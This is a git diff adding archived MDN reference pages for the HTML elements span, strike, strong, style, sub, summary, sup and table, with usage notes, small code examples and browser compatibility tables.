The <span> HTML element is a generic inline container for phrasing content, which does not inherently represent anything. It can be used to group elements for styling purposes (using the class or id attributes), or because they share attribute values, such as lang. It should be used only when no other semantic element is appropriate. <span> is very much like a <div> element, but <div> is a block-level element whereas a <span> is an inline-level element.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Example

+ +

Example 1

+
+

HTML

+

html

+
<p><span>Some text</span></p>
+
+

Result

+
+ + +
+
+

Example 2

+
+

HTML

+

html

+
<li>
+  <span>
+    <a href="portfolio.html" target="_blank">See my portfolio</a>
+  </span>
+</li>
+
+

CSS

+

css

+
li span {
+  background: gold;
+}
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories Flow content, phrasing content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content, or any element that accepts flow content.
Implicit ARIA role No corresponding role
Permitted ARIA roles Any
DOM interface HTMLSpanElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-span-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
span1121Yes1514.41841411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/span +

+
diff --git a/devdocs/html/element%2Fstrike.html b/devdocs/html/element%2Fstrike.html new file mode 100644 index 00000000..f5f18581 --- /dev/null +++ b/devdocs/html/element%2Fstrike.html @@ -0,0 +1,71 @@ +

<strike>

+

Deprecated: This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

The <strike> HTML element places a strikethrough (horizontal line) over text.

Warning: This element is deprecated in HTML 4 and XHTML 1, and obsoleted in the HTML Living Standard. If semantically appropriate, i.e., if it represents deleted content, use <del> instead. In all other cases use <s>.

+
+

Attributes

+

This element includes the global attributes.

+

Examples

+
+

html

+
&lt;strike&gt;: <strike>Today's Special: Salmon</strike> SOLD OUT<br />
+&lt;s&gt;: <s>Today's Special: Salmon</s> SOLD OUT
+
+
+

Result

+
+ + +
+

Technical summary

+
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# strike
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
strike112
1Before Firefox 4, this element implemented the HTMLSpanElement interface instead of the standard HTMLElement interface.
Yes15≤44.418
4Before Firefox 4, this element implemented the HTMLSpanElement interface instead of the standard HTMLElement interface.
14≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/strike +

+
diff --git a/devdocs/html/element%2Fstrong.html b/devdocs/html/element%2Fstrong.html new file mode 100644 index 00000000..3d2577fc --- /dev/null +++ b/devdocs/html/element%2Fstrong.html @@ -0,0 +1,103 @@ +

<strong>: The Strong Importance element

The <strong> HTML element indicates that its contents have strong importance, seriousness, or urgency. Browsers typically render the contents in bold type.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

The <strong> element is for content that is of "strong importance," including things of great seriousness or urgency (such as warnings). This could be a sentence that is of great importance to the whole page, or you could merely try to point out that some words are of greater importance compared to nearby content.

Typically this element is rendered by default using a bold font weight. However, it should not be used to apply bold styling; use the CSS font-weight property for that purpose. Use the <b> element to draw attention to certain text without indicating a higher level of importance. Use the <em> element to mark text that has stress emphasis.

Another accepted use for <strong> is to denote the labels of paragraphs which represent notes or warnings within the text of a page.

+
+

<b> vs. <strong>

+
+

It is often confusing to new developers why there are so many ways to express the same thing on a rendered website. <b> and <strong> are perhaps one of the most common sources of confusion, causing developers to ask "Should I use <b> or <strong>? Don't they both do the same thing?"

Not exactly. The <strong> element is for content that is of greater importance, while the <b> element is used to draw attention to text without indicating that it's more important.

It may help to realize that both are valid and semantic elements in HTML and that it's a coincidence that they both have the same default styling (boldface) in most browsers (although some older browsers actually underline <strong>). Each element is meant to be used in certain types of scenarios, and if you want to bold text for decoration, you should instead actually use the CSS font-weight property.

The intended meaning or purpose of the enclosed text should be what determines which element you use. Communicating meaning is what semantics are all about.

+
+

<em> vs. <strong>

+
+

Adding to the confusion is the fact that while HTML 4 defined <strong> as indicating a stronger emphasis, HTML 5 defines <strong> as representing "strong importance for its contents." This is an important distinction to make.

While <em> is used to change the meaning of a sentence as spoken emphasis does ("I love carrots" vs. "I love carrots"), <strong> is used to give portions of a sentence added importance (e.g., "Warning! This is very dangerous.") Both <strong> and <em> can be nested to increase the relative degree of importance or stress emphasis, respectively.

+
+

Examples

+ +

Basic example

+
+
+

html

+
<p>
+  Before proceeding, <strong>make sure you put on your safety goggles</strong>.
+</p>
+
+

Result

+
+ + +
+
+

Labeling warnings

+
+
+

html

+
<p>
+  <strong>Important:</strong> Before proceeding, make sure you add plenty of
+  butter.
+</p>
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None; must have both a start tag and an end tag.
Permitted parents Any element that accepts phrasing content, or any element that accepts flow content.
Implicit ARIA role strong
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-strong-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
strong112
1Before Firefox 4, creating a <strong> element incorrectly resulted in an HTMLSpanElement object, instead of the expected HTMLElement.
Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/strong +

+
diff --git a/devdocs/html/element%2Fstyle.html b/devdocs/html/element%2Fstyle.html new file mode 100644 index 00000000..b6d28bea --- /dev/null +++ b/devdocs/html/element%2Fstyle.html @@ -0,0 +1,230 @@ +

<style>: The Style Information element

The <style> HTML element contains style information for a document, or part of a document. It contains CSS, which is applied to the contents of the document containing the <style> element.

+

Try it

+
+

The <style> element must be included inside the <head> of the document. In general, it is better to put your styles in external stylesheets and apply them using <link> elements.

If you include multiple <style> and <link> elements in your document, they will be applied to the DOM in the order they are included in the document — make sure you include them in the correct order, to avoid unexpected cascade issues.

In the same manner as <link> elements, <style> elements can include media attributes that contain media queries, allowing you to selectively apply internal stylesheets to your document depending on media features such as viewport width.

+
+

Attributes

+
+

This element includes the global attributes.

+blocking +

This attribute explicitly indicates that certain operations should be blocked on the fetching of critical subresources. @import-ed stylesheets are generally considered as critical subresources, whereas background-image and fonts are not.

  • +render: The rendering of content on the screen is blocked.
media

This attribute defines which media the style should be applied to. Its value is a media query, which defaults to all if the attribute is missing.

nonce

A cryptographic nonce (number used once) used to allow inline styles in a style-src Content-Security-Policy. The server must generate a unique nonce value each time it transmits a policy. It is critical to provide a nonce that cannot be guessed as bypassing a resource's policy is otherwise trivial.

title

This attribute specifies alternative style sheet sets.

+
+

Deprecated attributes

+
+type +

This attribute should not be provided: if it is, the only permitted values are the empty string or a case-insensitive match for text/css.

+

Examples

+ +

A simple stylesheet

+
+

In the following example, we apply a very simple stylesheet to a document:

+

html

+
<!doctype html>
+<html lang="en-US">
+  <head>
+    <meta charset="UTF-8" />
+    <title>Test page</title>
+    <style>
+      p {
+        color: red;
+      }
+    </style>
+  </head>
+  <body>
+    <p>This is my paragraph.</p>
+  </body>
+</html>
+
+

Result

+
+ + +
+
+

Multiple style elements

+
+

In this example we've included two <style> elements — notice how the conflicting declarations in the later <style> element override those in the earlier one, if they have equal specificity.

+

html

+
<!doctype html>
+<html lang="en-US">
+  <head>
+    <meta charset="UTF-8" />
+    <title>Test page</title>
+    <style>
+      p {
+        color: white;
+        background-color: blue;
+        padding: 5px;
+        border: 1px solid black;
+      }
+    </style>
+    <style>
+      p {
+        color: blue;
+        background-color: yellow;
+      }
+    </style>
+  </head>
+  <body>
+    <p>This is my paragraph.</p>
+  </body>
+</html>
+
+

Result

+
+ + +
+
+

Including a media query

+
+

In this example we build on the previous one, including a media attribute on the second <style> element so it is only applied when the viewport is less than 500px in width.

+

html

+
<!doctype html>
+<html lang="en-US">
+  <head>
+    <meta charset="UTF-8" />
+    <title>Test page</title>
+    <style>
+      p {
+        color: white;
+        background-color: blue;
+        padding: 5px;
+        border: 1px solid black;
+      }
+    </style>
+    <style media="all and (max-width: 500px)">
+      p {
+        color: blue;
+        background-color: yellow;
+      }
+    </style>
+  </head>
+  <body>
+    <p>This is my paragraph.</p>
+  </body>
+</html>
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories Metadata content, and if the scoped attribute is present: flow content.
Permitted content Text content matching the type attribute, that is text/css.
Tag omission Neither tag is omissible.
Permitted parents Any element that accepts metadata content.
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLStyleElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-style-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
style112133.514.418410.111.0
blocking105105NoNo91No105105No72No20.0
media112133.514.418410.111.0
title112133.514.418410.111.0
type112
1Before 75, Firefox accepted any CSS media (MIME) type, with optional parameters. Starting in 75, this has been restricted to the string 'text/css', per the spec.
33.514.418410.111.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/style +

+
diff --git a/devdocs/html/element%2Fsub.html b/devdocs/html/element%2Fsub.html new file mode 100644 index 00000000..09dc74f1 --- /dev/null +++ b/devdocs/html/element%2Fsub.html @@ -0,0 +1,112 @@ +

<sub>: The Subscript element

The <sub> HTML element specifies inline text which should be displayed as subscript for solely typographical reasons. Subscripts are typically rendered with a lowered baseline using smaller text.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

The <sub> element should be used only for typographical reasons—that is, to change the position of the text to comply with typographical conventions or standards, rather than solely for presentation or appearance purposes.

For example, using <sub> to style the name of a company which uses altered baselines in their wordmark would not be appropriate; instead, CSS should be used. For example, you could use the vertical-align property with a declaration like vertical-align: sub or, to more precisely control the baseline shift, vertical-align: -25%.

Appropriate use cases for <sub> include (but aren't necessarily limited to):

+
+

Examples

+ +

Footnote numbers

+
+

Traditional footnotes are denoted using numbers which are rendered in subscript. This is a common use case for <sub>:

+

html

+
<p>
+  According to the computations by Nakamura, Johnson, and Mason<sub>1</sub> this
+  will result in the complete annihilation of both particles.
+</p>
+
+

Result

+
+ + +
+
+

Variable subscripts

+
+

In mathematics, families of variables related to the same concept (such as distances along the same axis) are represented using the same variable name with a subscript following. For example:

+

html

+
<p>
+  The horizontal coordinates' positions along the X-axis are represented as
+  <var>x<sub>1</sub></var> … <var>x<sub>n</sub></var>.
+</p>
+
+

Result

+
+ + +
+
+

Chemical formulas

+
+

When writing a chemical formula, such as H20, the number of atoms of a given element within the described molecule is represented using a subscripted number; in the case of water, the subscripted "2" indicates that there are two atoms of hydrogen in the molecule.

Another example:

+

html

+
<p>
+  Almost every developer's favorite molecule is
+  C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>, which is commonly known
+  as "caffeine."
+</p>
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role subscript
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-sub-and-sup-elements
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
sub1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/sub +

+
diff --git a/devdocs/html/element%2Fsummary.html b/devdocs/html/element%2Fsummary.html new file mode 100644 index 00000000..0c9ddf94 --- /dev/null +++ b/devdocs/html/element%2Fsummary.html @@ -0,0 +1,145 @@ +

<summary>: The Disclosure Summary element

The <summary> HTML element specifies a summary, caption, or legend for a <details> element's disclosure box. Clicking the <summary> element toggles the state of the parent <details> element open and closed.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

The <summary> element's contents can be any heading content, plain text, or HTML that can be used within a paragraph.

A <summary> element may only be used as the first child of a <details> element. When the user clicks on the summary, the parent <details> element is toggled open or closed, and then a toggle event is sent to the <details> element, which can be used to let you know when this state change occurs.

+
+

Default label text

+

If a <details> element's first child is not a <summary> element, the user agent will use a default string (typically "Details") as the label for the disclosure box.

+

Default style

+
+

Per the HTML specification, the default style for <summary> elements includes display: list-item. This makes it possible to change or remove the icon displayed as the disclosure widget next to the label from the default, which is typically a triangle.

You can also change the style to display: block to remove the disclosure triangle.

See the Browser compatibility section for details, as not all browsers support full functionality of this element yet.

For Webkit-based browsers, such as Safari, it is possible to control the icon display through the non-standard CSS pseudo-element ::-webkit-details-marker. To remove the disclosure triangle, use summary::-webkit-details-marker { display: none }.

+
+

Examples

+

Below are some examples showing <summary> in use. You can find more examples in the documentation for the <details> element.

+

Basic example

+
+

A simple example showing the use of <summary> in a <details> element:

+

html

+
<details open>
+  <summary>Overview</summary>
+  <ol>
+    <li>Cash on hand: $500.00</li>
+    <li>Current invoice: $75.30</li>
+    <li>Due date: 5/6/19</li>
+  </ol>
+</details>
+
+

Result

+
+ + +
+
+

Summaries as headings

+
+

You can use heading elements in <summary>, like this:

+

html

+
<details open>
+  <summary><h4>Overview</h4></summary>
+  <ol>
+    <li>Cash on hand: $500.00</li>
+    <li>Current invoice: $75.30</li>
+    <li>Due date: 5/6/19</li>
+  </ol>
+</details>
+
+

Result

+
+ + +

This currently has some spacing issues that could be addressed using CSS.

Warning: Because the <summary> element has a default role of button (which strips all roles from child elements), this example will not work for users of assistive technologies such as screen readers. The <h4> will have its role removed and thus will not be treated as a heading for these users.

+
+

HTML in summaries

+
+

This example adds some semantics to the <summary> element to indicate the label as important:

+

html

+
<details open>
+  <summary><strong>Overview</strong></summary>
+  <ol>
+    <li>Cash on hand: $500.00</li>
+    <li>Current invoice: $75.30</li>
+    <li>Due date: 5/6/19</li>
+  </ol>
+</details>
+
+

Result

+
+ + +
+
+

Technical summary

+
Permitted content Phrasing content or one element of Heading content
Tag omission None; both the start tag and the end tag are mandatory.
Permitted parents The <details> element.
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-summary-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
summary127949No156418491461.0
display_list_item898949No75No89894963No15.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/summary +

+
diff --git a/devdocs/html/element%2Fsup.html b/devdocs/html/element%2Fsup.html new file mode 100644 index 00000000..88eabe98 --- /dev/null +++ b/devdocs/html/element%2Fsup.html @@ -0,0 +1,111 @@ +

<sup>: The Superscript element

The <sup> HTML element specifies inline text which is to be displayed as superscript for solely typographical reasons. Superscripts are usually rendered with a raised baseline using smaller text.

+

Try it

+
+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+
+

The <sup> element should only be used for typographical reasons—that is, to change the position of the text to comply with typographical conventions or standards, rather than solely for presentation or appearance purposes.

For example, to style the wordmark of a business or product which uses a raised baseline should be done using CSS (most likely vertical-align) rather than <sup>. This would be done using, for example, vertical-align: super or, to shift the baseline up 50%, vertical-align: 50%.

Appropriate use cases for <sup> include (but aren't necessarily limited to):

+
+

Examples

+ +

Exponents

+
+

Exponents, or powers of a number, are among the most common uses of superscripted text. For example:

+

html

+
<p>
+  One of the most common equations in all of physics is <var>E</var>=<var>m</var
+  ><var>c</var><sup>2</sup>.
+</p>
+
+

Result

+
+ + +
+
+

Superior lettering

+
+

Superior lettering is not technically the same thing as superscript. However, it is common to use <sup> to present superior lettering in HTML. Among the most common uses of superior lettering is the presentation of certain abbreviations in French:

+

html

+
<p>Robert a présenté son rapport à M<sup>lle</sup> Bernard.</p>
+
+

Result

+
+ + +
+
+

Ordinal numbers

+
+

Ordinal numbers, such as "fourth" in English or "quinto" in Spanish may be abbreviated using numerals and language-specific text rendered in superscript:

+

html

+
<p>
+  The ordinal number "fifth" can be abbreviated in various languages as follows:
+</p>
+<ul>
+  <li>English: 5<sup>th</sup></li>
+  <li>French: 5<sup>ème</sup></li>
+</ul>
+
+

Result

+
+ + +
+
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role superscript
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-sub-and-sup-elements
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
sup1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/sup +

+
diff --git a/devdocs/html/element%2Ftable.html b/devdocs/html/element%2Ftable.html new file mode 100644 index 00000000..08d97c72 --- /dev/null +++ b/devdocs/html/element%2Ftable.html @@ -0,0 +1,546 @@ +

<table>: The Table element

The <table> HTML element represents tabular data — that is, information presented in a two-dimensional table comprised of rows and columns of cells containing data.

+

Try it

+
+
Content categories Flow content
Permitted content In this order:
  1. an optional <caption> element,
  2. zero or more <colgroup> elements,
  3. an optional <thead> element,
  4. either one of the following:
    • zero or more <tbody> elements
    • one or more <tr> elements
  5. an optional <tfoot> element
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts flow content
Implicit ARIA role table
Permitted ARIA roles Any
DOM interface HTMLTableElement
+
+

Attributes

+

This element includes the global attributes.

+

Deprecated attributes

+
+
+align +

This enumerated attribute indicates how the table must be aligned inside the containing document. It may have the following values:

  • +left: the table is displayed on the left side of the document;
  • +center: the table is displayed in the center of the document;
  • +right: the table is displayed on the right side of the document.

Set margin-left and margin-right to achieve an effect that is similar to the align attribute:

  • +left: margin-right: auto; margin-left: 0; +
  • +center: margin-right: auto; margin-left: auto; +
  • +right: margin-right: 0; margin-left: auto; +
+bgcolor +

The background color of the table. It is a 6-digit hexadecimal RGB code, prefixed by a '#'. One of the predefined color keywords can also be used.

To achieve a similar effect, use the CSS background-color property.

+border +

This integer attribute defines, in pixels, the size of the frame surrounding the table. If set to 0, the frame attribute is set to void.

To achieve a similar effect, use the CSS border shorthand property.

+cellpadding +

This attribute defines the space between the content of a cell and its border, displayed or not. If the cellpadding's length is defined in pixels, this pixel-sized space will be applied to all four sides of the cell's content. If the length is defined using a percentage value, the content will be centered and the total vertical space (top and bottom) will represent this value. The same is true for the total horizontal space (left and right).

To achieve a similar effect, apply the border-collapse property to the <table> element, with its value set to collapse, and the padding property to the <td> elements.

+cellspacing +

This attribute defines the size of the space between two cells in a percentage value or pixels. The attribute is applied both horizontally and vertically, to the space between the top of the table and the cells of the first row, the left of the table and the first column, the right of the table and the last column and the bottom of the table and the last row.

To achieve a similar effect, apply the border-spacing property to the <table> element. border-spacing does not have any effect if border-collapse is set to collapse.

+frame +

This enumerated attribute defines which side of the frame surrounding the table must be displayed.

To achieve a similar effect, use the border-style and border-width properties.

+rules +

This enumerated attribute defines where rules, i.e. lines, should appear in a table. It can have the following values:

  • +none, which indicates that no rules will be displayed; it is the default value;
  • +groups, which will cause the rules to be displayed between row groups (defined by the <thead>, <tbody> and <tfoot> elements) and between column groups (defined by the <col> and <colgroup> elements) only;
  • +rows, which will cause the rules to be displayed between rows;
  • +cols, which will cause the rules to be displayed between columns;
  • +all, which will cause the rules to be displayed between rows and columns.

To achieve a similar effect, apply the border property to the appropriate <thead>, <tbody>, <tfoot>, <col>, or <colgroup> elements.

+summary +

This attribute defines an alternative text that summarizes the content of the table. Use the <caption> element instead.

+width +

This attribute defines the width of the table. Use the CSS width property instead.

Note: While no HTML specification includes height as a <table> attribute, some browsers support a non-standard interpretation of height. The unitless value sets a minimum absolute height in pixels. If set as a percent value, the minimum table height will be relative to the height of the parent container.

+
+

Examples

+ +

Simple table

+
+
+

html

+
<table>
+  <tr>
+    <td>John</td>
+    <td>Doe</td>
+  </tr>
+  <tr>
+    <td>Jane</td>
+    <td>Doe</td>
+  </tr>
+</table>
+
+

Result

+
+ + +
+
+

Further simple examples

+
+
+

html

+
<p>Simple table with header</p>
+<table>
+  <tr>
+    <th>First name</th>
+    <th>Last name</th>
+  </tr>
+  <tr>
+    <td>John</td>
+    <td>Doe</td>
+  </tr>
+  <tr>
+    <td>Jane</td>
+    <td>Doe</td>
+  </tr>
+</table>
+
+<p>Table with thead, tfoot, and tbody</p>
+<table>
+  <thead>
+    <tr>
+      <th>Header content 1</th>
+      <th>Header content 2</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td>Body content 1</td>
+      <td>Body content 2</td>
+    </tr>
+  </tbody>
+  <tfoot>
+    <tr>
+      <td>Footer content 1</td>
+      <td>Footer content 2</td>
+    </tr>
+  </tfoot>
+</table>
+
+<p>Table with colgroup</p>
+<table>
+  <colgroup span="4"></colgroup>
+  <tr>
+    <th>Countries</th>
+    <th>Capitals</th>
+    <th>Population</th>
+    <th>Language</th>
+  </tr>
+  <tr>
+    <td>USA</td>
+    <td>Washington, D.C.</td>
+    <td>309 million</td>
+    <td>English</td>
+  </tr>
+  <tr>
+    <td>Sweden</td>
+    <td>Stockholm</td>
+    <td>9 million</td>
+    <td>Swedish</td>
+  </tr>
+</table>
+
+<p>Table with colgroup and col</p>
+<table>
+  <colgroup>
+    <col style="background-color: #0f0" />
+    <col span="2" />
+  </colgroup>
+  <tr>
+    <th>Lime</th>
+    <th>Lemon</th>
+    <th>Orange</th>
+  </tr>
+  <tr>
+    <td>Green</td>
+    <td>Yellow</td>
+    <td>Orange</td>
+  </tr>
+</table>
+
+<p>Simple table with caption</p>
+<table>
+  <caption>
+    Awesome caption
+  </caption>
+  <tr>
+    <td>Awesome data</td>
+  </tr>
+</table>
+
+

Result

+
+ + +
+
+

Table sorting

+
+

Sorting table rows

There are no native methods for sorting the rows (<tr> elements) of an HTML table. But using Array.prototype.slice(), Array.prototype.sort(), Node.removeChild(), and Node.appendChild(), you can implement your own sort() function to sort an HTMLCollection of <tr> elements.

In the below example, you can see such an example. We are attaching it to the <tbody> element so that it sorts the table cells in order of increasing value, and updates the display to suit.

HTML
+

html

+
<table>
+  <tbody>
+    <tr>
+      <td>3</td>
+    </tr>
+    <tr>
+      <td>2</td>
+    </tr>
+    <tr>
+      <td>1</td>
+    </tr>
+  </tbody>
+</table>
+
+
JavaScript
+

js

+
HTMLTableSectionElement.prototype.sort = function (cb) {
+  Array.from(this.rows)
+    .sort(cb)
+    .forEach((e) => this.appendChild(this.removeChild(e)));
+};
+
+document
+  .querySelector("table")
+  .tBodies[0].sort((a, b) => a.textContent.localeCompare(b.textContent));
+
+
Result
+
+ + +

Sorting rows with a click on the th element

The following example adds an event handler to every <th> element of every <table> in the document; it sorts all the <tbody>'s rows, basing the sorting on the td cells contained in the rows.

Note: This solution assumes that the <td> elements are populated by raw text with no descendant elements.

HTML
+

html

+
<table>
+  <thead>
+    <tr>
+      <th>Numbers</th>
+      <th>Letters</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td>3</td>
+      <td>A</td>
+    </tr>
+    <tr>
+      <td>2</td>
+      <td>B</td>
+    </tr>
+    <tr>
+      <td>1</td>
+      <td>C</td>
+    </tr>
+  </tbody>
+</table>
+
+
JavaScript
+

js

+
const allTables = document.querySelectorAll("table");
+
+for (const table of allTables) {
+  const tBody = table.tBodies[0];
+  const rows = Array.from(tBody.rows);
+  const headerCells = table.tHead.rows[0].cells;
+
+  for (const th of headerCells) {
+    const cellIndex = th.cellIndex;
+
+    th.addEventListener("click", () => {
+      rows.sort((tr1, tr2) => {
+        const tr1Text = tr1.cells[cellIndex].textContent;
+        const tr2Text = tr2.cells[cellIndex].textContent;
+        return tr1Text.localeCompare(tr2Text);
+      });
+
+      tBody.append(...rows);
+    });
+  }
+}
+
+
Result
+
+ + +
+
+

Displaying large tables in small spaces

+
+

A common issue with tables on the web is that they don't natively work very well on small screens when the amount of content is large, and the way to make them scrollable isn't obvious, especially when the markup may come from a CMS and cannot be modified to have a wrapper.

This example provides one way to display tables in small spaces. We've hidden the HTML content as it is very large, and there is nothing remarkable about it. The CSS is more useful to inspect in this example.

When looking at these styles you'll notice that table's display property has been set to block. While this allows scrolling, the table loses some of its integrity, and table cells try to become as small as possible. To mitigate this issue we've set white-space to nowrap on the <tbody>. However, we don't do this for the <thead> to avoid long titles forcing columns to be wider than they need to be to display the data.

To keep the table headers on the page while scrolling down we've set position to sticky on the <th> elements. Note that we have not set border-collapse to collapse, as if we do the header cannot be separated correctly from the rest of the table.

+

css

+
table,
+th,
+td {
+  border: 1px solid;
+}
+
+table {
+  width: 100%;
+  max-width: 400px;
+  height: 240px;
+  margin: 0 auto;
+  display: block;
+  overflow-x: auto;
+  border-spacing: 0;
+}
+
+tbody {
+  white-space: nowrap;
+}
+
+th,
+td {
+  padding: 5px 10px;
+  border-top-width: 0;
+  border-left-width: 0;
+}
+
+th {
+  position: sticky;
+  top: 0;
+  background: #fff;
+  vertical-align: bottom;
+}
+
+th:last-child,
+td:last-child {
+  border-right-width: 0;
+}
+
+tr:last-child td {
+  border-bottom-width: 0;
+}
+
+

Result

+
+ + +
+
+

Accessibility concerns

+ +

Captions

+
+

By supplying a <caption> element whose value clearly and concisely describes the table's purpose, it helps the people decide if they need to read the rest of the table content or skip over it.

This helps people navigating with the aid of assistive technology such as a screen reader, people experiencing low vision conditions, and people with cognitive concerns.

+
+

Scoping rows and columns

+
+

The scope attribute on header elements is redundant in simple contexts, because scope is inferred. However, some assistive technologies may fail to draw correct inferences, so specifying header scope may improve user experiences. In complex tables, scope can be specified to provide necessary information about the cells related to a header.

Examples

+

html

+
<table>
+  <caption>
+    Color names and values
+  </caption>
+  <tbody>
+    <tr>
+      <th scope="col">Name</th>
+      <th scope="col">HEX</th>
+      <th scope="col">HSLa</th>
+      <th scope="col">RGBa</th>
+    </tr>
+    <tr>
+      <th scope="row">Teal</th>
+      <td><code>#51F6F6</code></td>
+      <td><code>hsl(180 90% 64% / 1)</code></td>
+      <td><code>rgb(81 246 246 / 1)</code></td>
+    </tr>
+    <tr>
+      <th scope="row">Goldenrod</th>
+      <td><code>#F6BC57</code></td>
+      <td><code>hsl(38 90% 65% / 1)</code></td>
+      <td><code>rgba(246 188 87 / 1)</code></td>
+    </tr>
+  </tbody>
+</table>
+
+
Result
+
+ + +

Providing a declaration of scope="col" on a <th> element will help describe that the cell is at the top of a column. Providing a declaration of scope="row" on a <th> element will help describe that the cell is the first in a row.

+
+

Complicated tables

+
+

Assistive technology such as screen readers may have difficulty parsing tables that are so complex that header cells can't be associated in a strictly horizontal or vertical way. This is typically indicated by the presence of the colspan and rowspan attributes.

Ideally, consider alternate ways to present the table's content, including breaking it apart into a collection of smaller, related tables that don't have to rely on using the colspan and rowspan attributes. In addition to helping people who use assistive technology understand the table's content, this may also benefit people with cognitive concerns who may have difficulty understanding the associations the table layout is describing.

If the table cannot be broken apart, use a combination of the id and headers attributes to programmatically associate each table cell with the header(s) the cell is associated with.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-table-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
